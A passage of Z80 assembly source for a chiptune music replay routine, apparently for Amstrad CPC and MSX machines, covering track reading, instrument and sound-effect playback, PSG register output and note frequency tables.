ld (PLY_Track2_SavePTInstrument + 1),hl ;When using the Instrument again, no need to give the Speed, it is skipped.
PLY_Track2_InstrumentResetPT
ld (PLY_Track2_Instrument + 1),hl
PLY_Track2_NoNoteGiven
ld a,1
PLY_Track2_NewInstrument_SetWait
ld (PLY_Track2_WaitCounter + 1),a
;Read the Track 3.
;-----------------
;Store the parameters, because the player below is called every frame, but the Read Track isn't.
PLY_Track3_WaitCounter ld a,1
dec a
jr nz,PLY_Track3_NewInstrument_SetWait
PLY_Track3_PT ld hl,0
call PLY_ReadTrack
ld (PLY_Track3_PT + 1),hl
jr c,PLY_Track3_NewInstrument_SetWait
;No Wait command. Can be a Note and/or Effects.
ld a,d ;Make a copy of the flags+Volume in A, not to temper with the original.
rra ;Volume ? If bit 4 was 1, then volume exists on b3-b0
jr nc,PLY_Track3_SameVolume
and %1111
ld (PLY_Track3_Volume),a
PLY_Track3_SameVolume
rl d ;New Pitch ?
jr nc,PLY_Track3_NoNewPitch
ld (PLY_Track3_PitchAdd + 1),ix
PLY_Track3_NoNewPitch
rl d ;Note ? If no Note, we don't have to test if a new Instrument is here.
jr nc,PLY_Track3_NoNoteGiven
ld a,e
PLY_Transposition3 add a,0 ;Transpose Note according to the Transposition in the Linker.
ld (PLY_Track3_Note),a
ld hl,0 ;Reset the TrackPitch.
ld (PLY_Track3_Pitch + 1),hl
rl d ;New Instrument ?
jr c,PLY_Track3_NewInstrument
PLY_Track3_SavePTInstrument ld hl,0 ;Same Instrument. We recover its address to restart it.
ld a,(PLY_Track3_InstrumentSpeed + 1) ;Reset the Instrument Speed Counter. Never seemed useful...
ld (PLY_Track3_InstrumentSpeedCpt + 1),a
jr PLY_Track3_InstrumentResetPT
PLY_Track3_NewInstrument ;New Instrument. We have to get its new address, and Speed.
ld l,b ;H is already set to 0 before.
add hl,hl
PLY_Track3_InstrumentsTablePT ld bc,0
add hl,bc
ld a,(hl) ;Get Instrument address.
inc hl
ld h,(hl)
ld l,a
ld a,(hl) ;Get Instrument speed.
inc hl
ld (PLY_Track3_InstrumentSpeed + 1),a
ld (PLY_Track3_InstrumentSpeedCpt + 1),a
ld a,(hl)
or a ;Get IsRetrig?. Code it only if different to 0, else next Instruments are going to overwrite it.
jr z,$+5
ld (PLY_PSGReg13_Retrig + 1),a
inc hl
ld (PLY_Track3_SavePTInstrument + 1),hl ;When using the Instrument again, no need to give the Speed, it is skipped.
PLY_Track3_InstrumentResetPT
ld (PLY_Track3_Instrument + 1),hl
PLY_Track3_NoNoteGiven
ld a,1
PLY_Track3_NewInstrument_SetWait
ld (PLY_Track3_WaitCounter + 1),a
PLY_Speed ld a,1
PLY_SpeedEnd
ld (PLY_SpeedCpt + 1),a
;Play the Sound on Track 3
;-------------------------
;Plays the sound on each frame, but only save the forwarded Instrument pointer when Instrument Speed is reached.
;This is needed because TrackPitch is involved in the Software Frequency/Hardware Frequency calculation, and is calculated every frame.
ld iy,PLY_PSGRegistersArray + 4
PLY_Track3_Pitch ld hl,0
PLY_Track3_PitchAdd ld de,0
add hl,de
ld (PLY_Track3_Pitch + 1),hl
sra h ;Shift the Pitch to slow its speed.
rr l
sra h
rr l
ex de,hl
exx
PLY_Track3_Volume equ $+2
PLY_Track3_Note equ $+1
ld de,0 ;D=Inverted Volume E=Note
PLY_Track3_Instrument ld hl,0
call PLY_PlaySound
PLY_Track3_InstrumentSpeedCpt ld a,1
dec a
jr nz,PLY_Track3_PlayNoForward
ld (PLY_Track3_Instrument + 1),hl
PLY_Track3_InstrumentSpeed ld a,6
PLY_Track3_PlayNoForward
ld (PLY_Track3_InstrumentSpeedCpt + 1),a
;***************************************
;Play Sound Effects on Track 3 (only assembled used if PLY_UseSoundEffects is set to one)
;***************************************
if PLY_UseSoundEffects
PLY_SFX_Track3_Pitch ld de,0
exx
PLY_SFX_Track3_Volume equ $+2
PLY_SFX_Track3_Note equ $+1
ld de,0 ;D=Inverted Volume E=Note
PLY_SFX_Track3_Instrument ld hl,0 ;If 0, no sound effect.
ld a,l
or h
jr z,PLY_SFX_Track3_End
ld a,1
ld (PLY_PS_EndSound_SFX + 1),a
call PLY_PlaySound
xor a
ld (PLY_PS_EndSound_SFX + 1),a
ld a,l ;If the new address is 0, the instrument is over. Speed is set in the process, we don't care.
or h
jr z,PLY_SFX_Track3_Instrument_SetAddress
PLY_SFX_Track3_InstrumentSpeedCpt ld a,1
dec a
jr nz,PLY_SFX_Track3_PlayNoForward
PLY_SFX_Track3_Instrument_SetAddress
ld (PLY_SFX_Track3_Instrument + 1),hl
PLY_SFX_Track3_InstrumentSpeed ld a,6
PLY_SFX_Track3_PlayNoForward
ld (PLY_SFX_Track3_InstrumentSpeedCpt + 1),a
PLY_SFX_Track3_End
endif
;******************************************
ld a,ixl ;Save the Register 7 of the Track 3.
ex af,af'
;Play the Sound on Track 2
;-------------------------
ld iy,PLY_PSGRegistersArray + 2
PLY_Track2_Pitch ld hl,0
PLY_Track2_PitchAdd ld de,0
add hl,de
ld (PLY_Track2_Pitch + 1),hl
sra h ;Shift the Pitch to slow its speed.
rr l
sra h
rr l
ex de,hl
exx
PLY_Track2_Volume equ $+2
PLY_Track2_Note equ $+1
ld de,0 ;D=Inverted Volume E=Note
PLY_Track2_Instrument ld hl,0
call PLY_PlaySound
PLY_Track2_InstrumentSpeedCpt ld a,1
dec a
jr nz,PLY_Track2_PlayNoForward
ld (PLY_Track2_Instrument + 1),hl
PLY_Track2_InstrumentSpeed ld a,6
PLY_Track2_PlayNoForward
ld (PLY_Track2_InstrumentSpeedCpt + 1),a
;***************************************
;Play Sound Effects on Track 2 (only assembled used if PLY_UseSoundEffects is set to one)
;***************************************
if PLY_UseSoundEffects
PLY_SFX_Track2_Pitch ld de,0
exx
PLY_SFX_Track2_Volume equ $+2
PLY_SFX_Track2_Note equ $+1
ld de,0 ;D=Inverted Volume E=Note
PLY_SFX_Track2_Instrument ld hl,0 ;If 0, no sound effect.
ld a,l
or h
jr z,PLY_SFX_Track2_End
ld a,1
ld (PLY_PS_EndSound_SFX + 1),a
call PLY_PlaySound
xor a
ld (PLY_PS_EndSound_SFX + 1),a
ld a,l ;If the new address is 0, the instrument is over. Speed is set in the process, we don't care.
or h
jr z,PLY_SFX_Track2_Instrument_SetAddress
PLY_SFX_Track2_InstrumentSpeedCpt ld a,1
dec a
jr nz,PLY_SFX_Track2_PlayNoForward
PLY_SFX_Track2_Instrument_SetAddress
ld (PLY_SFX_Track2_Instrument + 1),hl
PLY_SFX_Track2_InstrumentSpeed ld a,6
PLY_SFX_Track2_PlayNoForward
ld (PLY_SFX_Track2_InstrumentSpeedCpt + 1),a
PLY_SFX_Track2_End
endif
;******************************************
ex af,af'
add a,a ;Mix Reg7 from Track2 with Track3, making room first.
or ixl
rla
ex af,af'
;Play the Sound on Track 1
;-------------------------
ld iy,PLY_PSGRegistersArray
PLY_Track1_Pitch ld hl,0
PLY_Track1_PitchAdd ld de,0
add hl,de
ld (PLY_Track1_Pitch + 1),hl
sra h ;Shift the Pitch to slow its speed.
rr l
sra h
rr l
ex de,hl
exx
PLY_Track1_Volume equ $+2
PLY_Track1_Note equ $+1
ld de,0 ;D=Inverted Volume E=Note
PLY_Track1_Instrument ld hl,0
call PLY_PlaySound
PLY_Track1_InstrumentSpeedCpt ld a,1
dec a
jr nz,PLY_Track1_PlayNoForward
ld (PLY_Track1_Instrument + 1),hl
PLY_Track1_InstrumentSpeed ld a,6
PLY_Track1_PlayNoForward
ld (PLY_Track1_InstrumentSpeedCpt + 1),a
;***************************************
;Play Sound Effects on Track 1 (only assembled used if PLY_UseSoundEffects is set to one)
;***************************************
if PLY_UseSoundEffects
PLY_SFX_Track1_Pitch ld de,0
exx
PLY_SFX_Track1_Volume equ $+2
PLY_SFX_Track1_Note equ $+1
ld de,0 ;D=Inverted Volume E=Note
PLY_SFX_Track1_Instrument ld hl,0 ;If 0, no sound effect.
ld a,l
or h
jr z,PLY_SFX_Track1_End
ld a,1
ld (PLY_PS_EndSound_SFX + 1),a
call PLY_PlaySound
xor a
ld (PLY_PS_EndSound_SFX + 1),a
ld a,l ;If the new address is 0, the instrument is over. Speed is set in the process, we don't care.
or h
jr z,PLY_SFX_Track1_Instrument_SetAddress
PLY_SFX_Track1_InstrumentSpeedCpt ld a,1
dec a
jr nz,PLY_SFX_Track1_PlayNoForward
PLY_SFX_Track1_Instrument_SetAddress
ld (PLY_SFX_Track1_Instrument + 1),hl
PLY_SFX_Track1_InstrumentSpeed ld a,6
PLY_SFX_Track1_PlayNoForward
ld (PLY_SFX_Track1_InstrumentSpeedCpt + 1),a
PLY_SFX_Track1_End
endif
;***********************************
ex af,af'
or ixl ;Mix Reg7 from Track3 with Track2+1.
;Send the registers to PSG. Various codes according to the machine used.
PLY_SendRegisters
;A=Register 7
if PLY_UseMSXMachine
ld b,a
ld hl,PLY_PSGRegistersArray
;Register 0
xor a
out (#a0),a
ld a,(hl)
out (#a1),a
inc hl
;Register 1
ld a,1
out (#a0),a
ld a,(hl)
out (#a1),a
inc hl
;Register 2
ld a,2
out (#a0),a
ld a,(hl)
out (#a1),a
inc hl
;Register 3
ld a,3
out (#a0),a
ld a,(hl)
out (#a1),a
inc hl
;Register 4
ld a,4
out (#a0),a
ld a,(hl)
out (#a1),a
inc hl
;Register 5
ld a,5
out (#a0),a
ld a,(hl)
out (#a1),a
inc hl
;Register 6
ld a,6
out (#a0),a
ld a,(hl)
out (#a1),a
inc hl
;Register 7
ld a,7
out (#a0),a
ld a,b ;Use the stored Register 7.
out (#a1),a
;Register 8
ld a,8
out (#a0),a
ld a,(hl)
if PLY_UseFades
PLY_Channel1_FadeValue sub 0 ;Set a value from 0 (full volume) to 16 or more (volume to 0).
jr nc,$+3
xor a
endif
out (#a1),a
inc hl
inc hl ;Skip unused byte.
;Register 9
ld a,9
out (#a0),a
ld a,(hl)
if PLY_UseFades
PLY_Channel2_FadeValue sub 0 ;Set a value from 0 (full volume) to 16 or more (volume to 0).
jr nc,$+3
xor a
endif
out (#a1),a
inc hl
inc hl ;Skip unused byte.
;Register 10
ld a,10
out (#a0),a
ld a,(hl)
if PLY_UseFades
PLY_Channel3_FadeValue sub 0 ;Set a value from 0 (full volume) to 16 or more (volume to 0).
jr nc,$+3
xor a
endif
out (#a1),a
inc hl
;Register 11
ld a,11
out (#a0),a
ld a,(hl)
out (#a1),a
inc hl
;Register 12
ld a,12
out (#a0),a
ld a,(hl)
out (#a1),a
inc hl
;Register 13
if PLY_SystemFriendly
call PLY_PSGReg13_Code
PLY_PSGREG13_RecoverSystemRegisters
pop iy
pop ix
pop bc
pop af
exx
ex af,af'
;Restore Interrupt status
PLY_RestoreInterruption nop ;Will be automodified to an DI/EI.
ret
endif
PLY_PSGReg13_Code
ld a,13
out (#a0),a
ld a,(hl)
PLY_PSGReg13_Retrig cp 255 ;If IsRetrig?, force the R13 to be triggered.
ret z
out (#a1),a
ld (PLY_PSGReg13_Retrig + 1),a
ret
endif
if PLY_UseCPCMachine
ld de,#c080
ld b,#f6
out (c),d ;#f6c0
exx
ld hl,PLY_PSGRegistersArray
ld e,#f6
ld bc,#f401
;Register 0
defb #ed,#71 ;#f400+Register
ld b,e
defb #ed,#71 ;#f600
dec b
outi ;#f400+value
exx
out (c),e ;#f680
out (c),d ;#f6c0
exx
;Register 1
out (c),c
ld b,e
defb #ed,#71
dec b
outi
exx
out (c),e
out (c),d
exx
inc c
;Register 2
out (c),c
ld b,e
defb #ed,#71
dec b
outi
exx
out (c),e
out (c),d
exx
inc c
;Register 3
out (c),c
ld b,e
defb #ed,#71
dec b
outi
exx
out (c),e
out (c),d
exx
inc c
;Register 4
out (c),c
ld b,e
defb #ed,#71
dec b
outi
exx
out (c),e
out (c),d
exx
inc c
;Register 5
out (c),c
ld b,e
defb #ed,#71
dec b
outi
exx
out (c),e
out (c),d
exx
inc c
;Register 6
out (c),c
ld b,e
defb #ed,#71
dec b
outi
exx
out (c),e
out (c),d
exx
inc c
;Register 7
out (c),c
ld b,e
defb #ed,#71
dec b
dec b
out (c),a ;Read A register instead of the list.
exx
out (c),e
out (c),d
exx
inc c
;Register 8
out (c),c
ld b,e
defb #ed,#71
dec b
if PLY_UseFades
dec b
ld a,(hl)
PLY_Channel1_FadeValue sub 0 ;Set a value from 0 (full volume) to 16 or more (volume to 0).
jr nc,$+6
defb #ed,#71
jr $+4
out (c),a
inc hl
else
outi
endif
exx
out (c),e
out (c),d
exx
inc c
inc hl ;Skip unused byte.
;Register 9
out (c),c
ld b,e
defb #ed,#71
dec b
if PLY_UseFades ;If PLY_UseFades is set to 1, we manage the volume fade.
dec b
ld a,(hl)
PLY_Channel2_FadeValue sub 0 ;Set a value from 0 (full volume) to 16 or more (volume to 0).
jr nc,$+6
defb #ed,#71
jr $+4
out (c),a
inc hl
else
outi
endif
exx
out (c),e
out (c),d
exx
inc c
inc hl ;Skip unused byte.
;Register 10
out (c),c
ld b,e
defb #ed,#71
dec b
if PLY_UseFades
dec b
ld a,(hl)
PLY_Channel3_FadeValue sub 0 ;Set a value from 0 (full volume) to 16 or more (volume to 0).
jr nc,$+6
defb #ed,#71
jr $+4
out (c),a
inc hl
else
outi
endif
exx
out (c),e
out (c),d
exx
inc c
;Register 11
out (c),c
ld b,e
defb #ed,#71
dec b
outi
exx
out (c),e
out (c),d
exx
inc c
;Register 12
out (c),c
ld b,e
defb #ed,#71
dec b
outi
exx
out (c),e
out (c),d
exx
inc c
;Register 13
if PLY_SystemFriendly
call PLY_PSGReg13_Code
PLY_PSGREG13_RecoverSystemRegisters
pop iy
pop ix
pop bc
pop af
exx
ex af,af'
;Restore Interrupt status
PLY_RestoreInterruption nop ;Will be automodified to an DI/EI.
ret
endif
PLY_PSGReg13_Code
ld a,(hl)
PLY_PSGReg13_Retrig cp 255 ;If IsRetrig?, force the R13 to be triggered.
ret z
ld (PLY_PSGReg13_Retrig + 1),a
out (c),c
ld b,e
defb #ed,#71
dec b
outi
exx
out (c),e
out (c),d
ret
endif
;There are two holes in the list, because the Volume registers are set relatively to the Frequency of the same Channel (+7, always).
;Also, the Reg7 is passed as a register, so is not kept in the memory.
PLY_PSGRegistersArray
PLY_PSGReg0 db 0
PLY_PSGReg1 db 0
PLY_PSGReg2 db 0
PLY_PSGReg3 db 0
PLY_PSGReg4 db 0
PLY_PSGReg5 db 0
PLY_PSGReg6 db 0
PLY_PSGReg8 db 0 ;+7
db 0
PLY_PSGReg9 db 0 ;+9
db 0
PLY_PSGReg10 db 0 ;+11
PLY_PSGReg11 db 0
PLY_PSGReg12 db 0
PLY_PSGReg13 db 0
PLY_PSGRegistersArray_End
;Plays a sound stream.
;HL=Pointer on Instrument Data
;IY=Pointer on Register code (volume, frequency).
;E=Note
;D=Inverted Volume
;DE'=TrackPitch
;RET=
;HL=New Instrument pointer.
;IXL=Reg7 mask (x00x)
;Also used inside =
;B,C=read byte/second byte.
;IXH=Save original Note (only used for Independant mode).
PLY_PlaySound
ld b,(hl)
inc hl
rr b
jp c,PLY_PS_Hard
;**************
;Software Sound
;**************
;Second Byte needed ?
rr b
jr c,PLY_PS_S_SecondByteNeeded
;No second byte needed. We need to check if Volume is null or not.
ld a,b
and %1111
jr nz,PLY_PS_S_SoundOn
;Null Volume. It means no Sound. We stop the Sound, the Noise, and it's over.
ld (iy + 7),a ;We have to make the volume to 0, because if a bass Hard was activated before, we have to stop it.
ld ixl,%1001
ret
PLY_PS_S_SoundOn
;Volume is here, no Second Byte needed. It means we have a simple Software sound (Sound = On, Noise = Off)
;We have to test Arpeggio and Pitch, however.
ld ixl,%1000
sub d ;Code Volume.
jr nc,$+3
xor a
ld (iy + 7),a
rr b ;Needed for the subroutine to get the good flags.
call PLY_PS_CalculateFrequency
ld (iy + 0),l ;Code Frequency.
ld (iy + 1),h
exx
ret
PLY_PS_S_SecondByteNeeded
ld ixl,%1000 ;By defaut, No Noise, Sound.
;Second Byte needed.
ld c,(hl)
inc hl
;Noise ?
ld a,c
and %11111
jr z,PLY_PS_S_SBN_NoNoise
ld (PLY_PSGReg6),a
ld ixl,%0000 ;Open Noise Channel.
PLY_PS_S_SBN_NoNoise
;Here we have either Volume and/or Sound. So first we need to read the Volume.
ld a,b
and %1111
sub d ;Code Volume.
jr nc,$+3
xor a
ld (iy + 7),a
;Sound ?
bit 5,c
jr nz,PLY_PS_S_SBN_Sound
;No Sound. Stop here.
inc ixl ;Set Sound bit to stop the Sound.
ret
PLY_PS_S_SBN_Sound
;Manual Frequency ?
rr b ;Needed for the subroutine to get the good flags.
bit 6,c
call PLY_PS_CalculateFrequency_TestManualFrequency
ld (iy + 0),l ;Code Frequency.
ld (iy + 1),h
exx
ret
;**********
;Hard Sound
;**********
PLY_PS_Hard
;We don't set the Volume to 16 now because we may have reached the end of the sound !
rr b ;Test Retrig here, it is common to every Hard sounds.
jr nc,PLY_PS_Hard_NoRetrig
ld a,(PLY_Track1_InstrumentSpeedCpt + 1) ;Retrig only if it is the first step in this line of Instrument !
ld c,a
ld a,(PLY_Track1_InstrumentSpeed + 1)
cp c
jr nz,PLY_PS_Hard_NoRetrig
ld a,PLY_RetrigValue
ld (PLY_PSGReg13_Retrig + 1),a
PLY_PS_Hard_NoRetrig
;Independant/Loop or Software/Hardware Dependent ?
bit 1,b ;We don't shift the bits, so that we can use the same code (Frequency calculation) several times.
jp nz,PLY_PS_Hard_LoopOrIndependent
;Hardware Sound.
ld (iy + 7),16 ;Set Volume
ld ixl,%1000 ;Sound is always On here (only Independence mode can switch it off).
;This code is common to both Software and Hardware Dependent.
ld c,(hl) ;Get Second Byte.
inc hl
ld a,c ;Get the Hardware Envelope waveform.
and %1111 ;We don't care about the bit 7-4, but we have to clear them, else the waveform might be reset.
ld (PLY_PSGReg13),a
if OPTIM_SIKO==0
bit 0,b
jr z,PLY_PS_HardwareDependent
endif
;******************
;Software Dependent
;******************
;Calculate the Software frequency
bit 4-2,b ;Manual Frequency ? -2 Because the byte has been shifted previously.
call PLY_PS_CalculateFrequency_TestManualFrequency
ld (iy + 0),l ;Code Software Frequency.
ld (iy + 1),h
exx
;Shift the Frequency.
ld a,c
rra
rra ;Shift=Shift*4. The shift is inverted in memory (7 - Editor Shift).
and %11100
ld (PLY_PS_SD_Shift + 1),a
ld a,b ;Used to get the HardwarePitch flag within the second registers set.
exx
PLY_PS_SD_Shift jr $+2
srl h
rr l
srl h
rr l
srl h
rr l
srl h
rr l
srl h
rr l
srl h
rr l
srl h
rr l
jr nc,$+3
inc hl
;Hardware Pitch ?
bit 7-2,a
jr z,PLY_PS_SD_NoHardwarePitch
if OPTIM_SIKO==0
exx ;Get Pitch and add it to the just calculated Hardware Frequency.
ld a,(hl)
inc hl
exx
add a,l ;Slow. Can be optimised ? Probably never used anyway.....
ld l,a
exx
ld a,(hl)
inc hl
exx
adc a,h
ld h,a
endif
PLY_PS_SD_NoHardwarePitch
ld (PLY_PSGReg11),hl
exx
;This code is also used by Hardware Dependent.
PLY_PS_SD_Noise
;Noise ?
if OPTIM_SIKO==0
bit 7,c
ret z
ld a,(hl)
inc hl
ld (PLY_PSGReg6),a
ld ixl,%0000
endif
ret
if OPTIM_SIKO==0
;******************
;Hardware Dependent
;******************
PLY_PS_HardwareDependent
;Calculate the Hardware frequency
bit 4-2,b ;Manual Hardware Frequency ? -2 Because the byte has been shifted previously.
call PLY_PS_CalculateFrequency_TestManualFrequency
ld (PLY_PSGReg11),hl ;Code Hardware Frequency.
exx
;Shift the Hardware Frequency.
ld a,c
rra
rra ;Shift=Shift*4. The shift is inverted in memory (7 - Editor Shift).
and %11100
ld (PLY_PS_HD_Shift + 1),a
ld a,b ;Used to get the Software flag within the second registers set.
exx
PLY_PS_HD_Shift jr $+2
sla l
rl h
sla l
rl h
sla l
rl h
sla l
rl h
sla l
rl h
sla l
rl h
sla l
rl h
;Software Pitch ?
bit 7-2,a
jr z,PLY_PS_HD_NoSoftwarePitch
exx ;Get Pitch and add it to the just calculated Software Frequency.
ld a,(hl)
inc hl
exx
add a,l
ld l,a ;Slow. Can be optimised ? Probably never used anyway.....
exx
ld a,(hl)
inc hl
exx
adc a,h
ld h,a
PLY_PS_HD_NoSoftwarePitch
ld (iy + 0),l ;Code Frequency.
ld (iy + 1),h
exx
;Go to manage Noise, common to Software Dependent.
jr PLY_PS_SD_Noise
endif
PLY_PS_Hard_LoopOrIndependent
bit 0,b ;We mustn't shift it to get the result in the Carry, as it would be mess the structure
jr z,PLY_PS_Independent ;of the flags, making it uncompatible with the common code.
;The sound has ended.
;If Sound Effects activated, we mark the "end of sound" by returning a 0 as an address.
if PLY_UseSoundEffects
PLY_PS_EndSound_SFX ld a,0 ;Is the sound played is a SFX (1) or a normal sound (0) ?
or a
jr z,PLY_PS_EndSound_NotASFX
ld hl,0
ret
PLY_PS_EndSound_NotASFX
endif
;The sound has ended. Read the new pointer and restart instrument.
ld a,(hl)
inc hl
ld h,(hl)
ld l,a
jp PLY_PlaySound
;***********
;Independent
;***********
PLY_PS_Independent
ld (iy + 7),16 ;Set Volume
;Sound ?
bit 7-2,b ;-2 Because the byte has been shifted previously.
jr nz,PLY_PS_I_SoundOn
;No Sound ! It means we don't care about the software frequency (manual frequency, arpeggio, pitch).
ld ixl,%1001
jr PLY_PS_I_SkipSoftwareFrequencyCalculation
PLY_PS_I_SoundOn
ld ixl,%1000 ;Sound is on.
ld ixh,e ;Save the original note for the Hardware frequency, because a Software Arpeggio will modify it.
;Calculate the Software frequency
bit 4-2,b ;Manual Frequency ? -2 Because the byte has been shifted previously.
call PLY_PS_CalculateFrequency_TestManualFrequency
ld (iy + 0),l ;Code Software Frequency.
ld (iy + 1),h
exx
ld e,ixh
PLY_PS_I_SkipSoftwareFrequencyCalculation
ld b,(hl) ;Get Second Byte.
inc hl
ld a,b ;Get the Hardware Envelope waveform.
and %1111 ;We don't care about the bit 7-4, but we have to clear them, else the waveform might be reset.
ld (PLY_PSGReg13),a
;Calculate the Hardware frequency
rr b ;Must shift it to match the expected data of the subroutine.
rr b
bit 4-2,b ;Manual Hardware Frequency ? -2 Because the byte has been shifted previously.
call PLY_PS_CalculateFrequency_TestManualFrequency
ld (PLY_PSGReg11),hl ;Code Hardware Frequency.
exx
;Noise ? We can't use the previous common code, because the setting of the Noise is different, since Independent can have no Sound.
bit 7-2,b
ret z
ld a,(hl)
inc hl
ld (PLY_PSGReg6),a
ld a,ixl ;Set the Noise bit.
res 3,a
ld ixl,a
ret
;Subroutine that =
;If Manual Frequency? (Flag Z off), read frequency (Word) and adds the TrackPitch (DE').
;Else, Auto Frequency.
; if Arpeggio? = 1 (bit 3 from B), read it (Byte).
; if Pitch? = 1 (bit 4 from B), read it (Word).
; Calculate the frequency according to the Note (E) + Arpeggio + TrackPitch (DE').
;HL = Pointer on Instrument data.
;DE'= TrackPitch.
;RET=
;HL = Pointer on Instrument moved forward.
;HL'= Frequency
; RETURN IN AUXILIARY REGISTERS
PLY_PS_CalculateFrequency_TestManualFrequency
jr z,PLY_PS_CalculateFrequency
;Manual Frequency. We read it, no need to read Pitch and Arpeggio.
;However, we add TrackPitch to the read Frequency, and that's all.
ld a,(hl)
inc hl
exx
add a,e ;Add TrackPitch LSB.
ld l,a
exx
ld a,(hl)
inc hl
exx
adc a,d ;Add TrackPitch HSB.
ld h,a
ret
PLY_PS_CalculateFrequency
;Pitch ?
bit 5-1,b
jr z,PLY_PS_S_SoundOn_NoPitch
ld a,(hl)
inc hl
exx
add a,e ;If Pitch found, add it directly to the TrackPitch.
ld e,a
exx
ld a,(hl)
inc hl
exx
adc a,d
ld d,a
exx
PLY_PS_S_SoundOn_NoPitch
;Arpeggio ?
ld a,e
bit 4-1,b
jr z,PLY_PS_S_SoundOn_ArpeggioEnd
add a,(hl) ;Add Arpeggio to Note.
inc hl
cp 144
jr c,$+4
ld a,143
PLY_PS_S_SoundOn_ArpeggioEnd
;Frequency calculation.
exx
ld l,a
ld h,0
add hl,hl
ld bc,PLY_FrequencyTable
add hl,bc
ld a,(hl)
inc hl
ld h,(hl)
ld l,a
add hl,de ;Add TrackPitch + InstrumentPitch (if any).
ret
;Read one Track.
;HL=Track Pointer.
;Ret =
;HL=New Track Pointer.
;Carry = 1 = Wait A lines. Carry=0=Line not empty.
;A=Wait (0(=256)-127), if Carry.
;D=Parameters + Volume.
;E=Note
;B=Instrument. 0=RST
;IX=PitchAdd. Only used if Pitch? = 1.
PLY_ReadTrack
ld a,(hl)
inc hl
srl a ;Full Optimisation ? If yes = Note only, no Pitch, no Volume, Same Instrument.
jr c,PLY_ReadTrack_FullOptimisation
sub 32 ;0-31 = Wait.
jr c,PLY_ReadTrack_Wait
jr z,PLY_ReadTrack_NoOptimisation_EscapeCode
dec a ;0 (32-32) = Escape Code for more Notes (parameters will be read)
;Note. Parameters are present. But the note is only present if Note? flag is 1.
ld e,a ;Save Note.
;Read Parameters
PLY_ReadTrack_ReadParameters
ld a,(hl)
ld d,a ;Save Parameters.
inc hl
rla ;Pitch ?
jr nc,PLY_ReadTrack_Pitch_End
ld b,(hl) ;Get PitchAdd
ld ixl,b
inc hl
ld b,(hl)
ld ixh,b
inc hl
PLY_ReadTrack_Pitch_End
rla ;Skip IsNote? flag.
rla ;New Instrument ?
ret nc
ld b,(hl)
inc hl
or a ;Remove Carry, as the player interpret it as a Wait command.
ret
;Escape code, read the Note and returns to read the Parameters.
PLY_ReadTrack_NoOptimisation_EscapeCode
ld e,(hl)
inc hl
jr PLY_ReadTrack_ReadParameters
PLY_ReadTrack_FullOptimisation
;Note only, no Pitch, no Volume, Same Instrument.
ld d,%01000000 ;Note only.
sub 1
ld e,a
ret nc
ld e,(hl) ;Escape Code found (0). Read Note.
inc hl
or a
ret
PLY_ReadTrack_Wait
add a,32
ret
PLY_FrequencyTable
if PLY_UseCPCMachine
dw 3822,3608,3405,3214,3034,2863,2703,2551,2408,2273,2145,2025
dw 1911,1804,1703,1607,1517,1432,1351,1276,1204,1136,1073,1012
dw 956,902,851,804,758,716,676,638,602,568,536,506
dw 478,451,426,402,379,358,338,319,301,284,268,253
dw 239,225,213,201,190,179,169,159,150,142,134,127
dw 119,113,106,100,95,89,84,80,75,71,67,63
dw 60,56,53,50,47,45,42,40,38,36,34,32
dw 30,28,27,25,24,22,21,20,19,18,17,16
dw 15,14,13,13,12,11,11,10,9,9,8,8
dw 7,7,7,6,6,6,5,5,5,4,4,4
dw 4,4,3,3,3,3,3,2,2,2,2,2
dw 2,2,2,2,1,1,1,1,1,1,1,1
endif
if PLY_UseMSXMachine
dw 4095,4095,4095,4095,4095,4095,4095,4095,4095,4030,3804,3591
dw 3389,3199,3019,2850,2690,2539,2397,2262,2135,2015,1902,1795
dw 1695,1599,1510,1425,1345,1270,1198,1131,1068,1008,951,898
dw 847,800,755,712,673,635,599,566,534,504,476,449
dw 424,400,377,356,336,317,300,283,267,252,238,224
dw 212,200,189,178,168,159,150,141,133,126,119,112
dw 106,100,94,89,84,79,75,71,67,63,59,56
dw 53,50,47,45,42,40,37,35,33,31,30,28
dw 26,25,24,22,21,20,19,18,17,16,15,14
dw 13,12,12,11,11,10,9,9,8,8,7,7
dw 7,6,6,6,5,5,5,4,4,4,4,4
dw 3,3,3,3,3,2,2,2,2,2,2,2
endif
;DE = Music
PLY_Init
if PLY_UseFirmwareInterruptions
ld hl,8 ;Skip Header, SampleChannel, YM Clock (DB*3). The Replay Frequency is used in Interruption mode.
add hl,de
ld de,PLY_ReplayFrequency + 1
ldi
else
ld hl,9 ;Skip Header, SampleChannel, YM Clock (DB*3), and Replay Frequency.
add hl,de
endif
ld de,PLY_Speed + 1
ldi ;Copy Speed.
ld c,(hl) ;Get Instruments chunk size.
inc hl
ld b,(hl)
inc hl
ld (PLY_Track1_InstrumentsTablePT + 1),hl
ld (PLY_Track2_InstrumentsTablePT + 1),hl
ld (PLY_Track3_InstrumentsTablePT + 1),hl
add hl,bc ;Skip Instruments to go to the Linker address.
;Get the pre-Linker information of the first pattern.
ld de,PLY_Height + 1
ldi
ld de,PLY_Transposition1 + 1
ldi
ld de,PLY_Transposition2 + 1
ldi
ld de,PLY_Transposition3 + 1
ldi
ld de,PLY_SaveSpecialTrack + 1
ldi
ldi
ld (PLY_Linker_PT + 1),hl ;Get the Linker address.
ld a,1
ld (PLY_SpeedCpt + 1),a
ld (PLY_HeightCpt + 1),a
ld a,#ff
ld (PLY_PSGReg13),a
;Set the Instruments pointers to Instrument 0 data (Header has to be skipped).
ld hl,(PLY_Track1_InstrumentsTablePT + 1)
ld e,(hl)
inc hl
ld d,(hl)
ex de,hl
inc hl ;Skip Instrument 0 Header.
inc hl
ld (PLY_Track1_Instrument + 1),hl
ld (PLY_Track2_Instrument + 1),hl
ld (PLY_Track3_Instrument + 1),hl
ret
;Stop the music, cut the channels.
PLY_Stop
; Pas besoin de stop si on fait un rst 0!
if OPTIM_SIKO==0
if PLY_SystemFriendly
call PLY_DisableInterruptions
ex af,af'
exx
push af
push bc
push ix
push iy
endif
ld hl,PLY_PSGReg8
ld bc,#0300
ld (hl),c
inc hl
djnz $-2
ld a,%00111111
jp PLY_SendRegisters
endif
if PLY_UseSoundEffects
;Initialize the Sound Effects.
;DE = SFX Music.
PLY_SFX_Init
;Find the Instrument Table.
ld hl,12
add hl,de
ld (PLY_SFX_Play_InstrumentTable + 1),hl
;Clear the three channels of any sound effect.
PLY_SFX_StopAll
ld hl,0
ld (PLY_SFX_Track1_Instrument + 1),hl
ld (PLY_SFX_Track2_Instrument + 1),hl
ld (PLY_SFX_Track3_Instrument + 1),hl
ret
PLY_SFX_OffsetPitch equ 0
PLY_SFX_OffsetVolume equ PLY_SFX_Track1_Volume - PLY_SFX_Track1_Pitch
